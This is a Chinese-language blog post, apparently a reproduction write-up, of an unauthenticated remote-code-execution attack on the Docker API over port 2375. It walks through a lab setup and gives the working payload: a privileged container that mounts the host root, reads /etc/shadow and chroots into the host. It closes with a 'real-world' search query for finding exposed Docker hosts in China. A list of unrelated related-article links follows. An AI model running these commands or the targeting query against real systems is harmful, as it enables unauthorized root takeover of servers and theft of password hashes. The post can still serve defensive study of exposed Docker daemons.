Easy RCE using Docker API 复现

简介: Easy RCE using Docker API 复现

漏洞来源:

https://twitter.com/ptswarm/status/1338477426276511749/photo/1

payload: 
docker -H x.x.x.x:2375 run --rm -it --privileged --net=host -v /:/mut alpine
File Access: cat /mnt/etc/shadow 
RCE: chroot /mnt

原理:

Docker提供了远程管理接口。

Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令

端口2375:未加密的docker socket,远程root无密码访问主机

复现环境:

kali

centos

各安装docker

安装centos因为现装的,啥环境都没

docker安装:

sudo apt -y install curl gnupg2 apt-transport-https software-properties-common ca-certificates
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
echo "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" | sudo tee  /etc/apt/sources.list.d/docker.list
apt update
apt install docker-ce docker-ce-cli containerd.io
docker version

docekr配置文件:

/usr/lib/systemd/system/docker.service

开启远程访问连接的api:

  • 640.png
systemctl daemon-reload
systemctl restart docker

验证端口是否开启:

netstat -anlp|grep 2375

640.png

nmap扫描:

640.png

kali执行:

kail已经安装docker了这就不多说了快下班了~


docker -H 192.168.5.135:2375 run --rm -it --privileged --net=host -v /:/mut alpine
run               =运行
--rm              =用于foreground模式的容器
-it               =指示Docker分配一个与容器的stdin连接的伪TTY;在容器中创建一个交互式bash shell
--privileged      =在启动的容器,可以看到很多host上的设备,并且可以执行mount
--net=host        =加了net=host后会使得创建的容器进入命令行好名称显示为主机的名称而不是一串id
-v                =把宿主机的目录挂载到容器中
alpine            =镜像

结果总结:

环境一下午复现2分钟

640.png

实战语法:

    port="2375" && protocol == docker && country="CN"
    相关文章
    |
    7月前
    |
    数据可视化 Linux API
    如何在Linux使用docker部署Swagger Editor并实现无公网IP远程协同编辑API文档
    如何在Linux使用docker部署Swagger Editor并实现无公网IP远程协同编辑API文档
    |
    7月前
    |
    数据可视化 Linux API
    使用Docker安装部署Swagger Editor并远程访问编辑API文档
    使用Docker安装部署Swagger Editor并远程访问编辑API文档
    135 0
    |
    2月前
    |
    监控 安全 API
    Docker + .NET API:简化部署和扩展
    Docker + .NET API:简化部署和扩展
    40 0
    |
    2月前
    |
    监控 安全 API
    最完美的扩展Docker + .NET API:简化部署和扩展
    最完美的扩展Docker + .NET API:简化部署和扩展
    91 0
    |
    5月前
    |
    应用服务中间件 API 数据库
    Docker 安装 KONG 带你玩转 API 网关
    **摘要:** 在微服务架构中,API网关Kong作为流行开源选择,提供身份验证、安全和流量控制等功能。通过Docker部署Kong简单高效。步骤包括:创建Docker网络,部署PostgreSQL数据库,初始化Kong数据库,启动Kong容器,并检查运行状态。此外,安装Konga管理界面便于直观管理Kong。使用Docker命令行,逐步设置环境变量和网络连接,即可完成安装。当不再需要时,可清理相关容器和网络。Kong结合Konga,为API管理提供强大且用户友好的解决方案。
    317 1
    |
    6月前
    |
    机器人 开发工具 计算机视觉
    基于 docker 环境的 LET-VINS 复现
    该文介绍了在Docker环境下实践LET-NET的步骤。从GitHub克隆LET-NET代码,使用Docker运行vins-mono环境。安装ncnn,配置代理,更新源,安装依赖并验证安装成功。在运行LET-NET时遇到opencv版本不兼容,指出怎么安装指定版本的 opencv。解决Docker容器中的显示问题,通过`xhost +`命令运行LET-NET。在ROS中构建VINS-Mono时,cv_bridge找不到的问题,通过安装cv_bridge,设置ROS环境和工作空间,以及解决ncnn的配置问题,最终成功运行VINS-Mono。还需要下载UMA-VI数据集并修改相关路径以运行演示。
    |
    应用服务中间件 API nginx
    通过 docker 学习 nginx,附全部配置及 API 测试,使用 apifox 直接打开
    本篇文章以前端的视角,介绍下 nginx 的常见配置,并通过 docker 的方式学习 nginx,这保证所有实例配置都能正常运行。
    |
    7月前
    |
    Kubernetes Shell API
    DeepFace【部署 02】轻量级人脸识别和面部属性分析框架(实时分析+API+Docker部署+命令行接口)
    DeepFace【部署 02】轻量级人脸识别和面部属性分析框架(实时分析+API+Docker部署+命令行接口)
    315 0
    |
    7月前
    |
    数据可视化 Linux API
    使用Docker安装部署Swagger Editor并远程访问编辑API文档
    使用Docker安装部署Swagger Editor并远程访问编辑API文档
    |
    安全 关系型数据库 API
    docker方式安装konga图形化admin api UI
    docker方式安装konga图形化admin api UI
    209 0